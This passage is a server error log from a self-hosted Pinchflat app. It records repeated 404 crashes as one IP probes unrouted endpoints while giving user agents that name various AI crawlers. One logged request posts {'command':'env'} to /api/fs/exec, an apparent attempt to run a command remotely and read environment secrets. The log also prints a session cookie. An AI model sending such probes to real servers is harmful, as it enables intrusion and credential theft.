{:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29954.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/inngest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35158}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "DELETE", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for DELETE /api/inngest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29954.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/inngest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35158}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "DELETE", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "DELETE", owner: #PID<0.29955.0>, params: %{}, path_info: ["api", "inngest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.n (truncated) 16:49:12.179 [info] DELETE /inngest 16:49:12.179 [debug] QUERY OK source="settings" db=0.1ms idle=366.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:12.179 [debug] QUERY OK source="settings" db=0.0ms idle=366.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:12.179 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:12.179 [error] #PID<0.29957.0> running PinchflatWeb.Endpoint (connection #PID<0.29956.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: DELETE /inngest ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for DELETE /inngest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/inngest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35164}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "DELETE", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "DELETE", owner: #PID<0.29957.0>, params: %{}, path_info: ["inngest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/inngest", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61shrL9A5EkkAAIOj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/inngest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35164}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "DELETE", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for DELETE /inngest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/inngest", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35164}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "DELETE", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "DELETE", owner: #PID<0.29957.0>, params: %{}, path_info: ["inngest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 16:49:12.314 [info] DELETE /api/events 16:49:12.314 [debug] QUERY OK source="settings" db=0.2ms idle=361.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:12.314 [debug] QUERY OK source="settings" db=0.0ms idle=302.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:12.314 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:12.315 [error] #PID<0.29959.0> running PinchflatWeb.Endpoint (connection #PID<0.29958.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: DELETE /api/events ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for DELETE /api/events (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29958.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/events", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35170}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "DELETE", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "DELETE", owner: #PID<0.29959.0>, params: %{}, path_info: ["api", "events"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/events", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61tB6kXBrpWkAAIPD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29958.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/events", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35170}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "DELETE", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for DELETE /api/events (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29958.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/events", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35170}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "DELETE", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "DELETE", owner: #PID<0.29959.0>, params: %{}, path_info: ["api", "events"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, q (truncated) 16:49:12.468 [info] POST /api/fs/exec 16:49:12.468 [debug] QUERY OK source="settings" db=0.1ms idle=455.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:12.468 [debug] QUERY OK source="settings" db=0.1ms idle=289.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:12.469 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:12.469 [error] #PID<0.29961.0> running PinchflatWeb.Endpoint (connection #PID<0.29960.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST /api/fs/exec ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /api/fs/exec (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29960.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/fs/exec", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35176}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "content-length" => "27", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 27, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{"args" => [], "command" => "env"}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.29961.0>, params: %{"args" => [], "command" => "env"}, path_info: ["api", "fs", "exec"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept-encoding", "gzip"}, {"content-length", "27"}, {"content-type", "application/json"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/fs/exec", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61tmpOjSlTP0AAIPj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29960.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/fs/exec", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35176}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "content-length" => "27", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 27, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /api/fs/exec (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29960.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/fs/exec", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35176}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "content-length" => "27", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 27, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{"args" => [], "command" => "env"}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.29961.0>, params: %{"args" => [], "command" => "env"}, path_info: ["api", "fs", "exec"], path_params: %{}, port: 80, private: (truncated) 16:49:12.768 [info] POST /api/v1/node-load-method/customMCP 16:49:12.768 [debug] QUERY OK source="settings" db=0.1ms idle=589.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:12.769 [debug] QUERY OK source="settings" db=0.0ms idle=454.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:12.769 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:12.769 [error] #PID<0.29963.0> running PinchflatWeb.Endpoint (connection #PID<0.29962.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST /api/v1/node-load-method/customMCP ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /api/v1/node-load-method/customMCP (PinchflatWeb.Router)", conn: %Plug.Conn{ 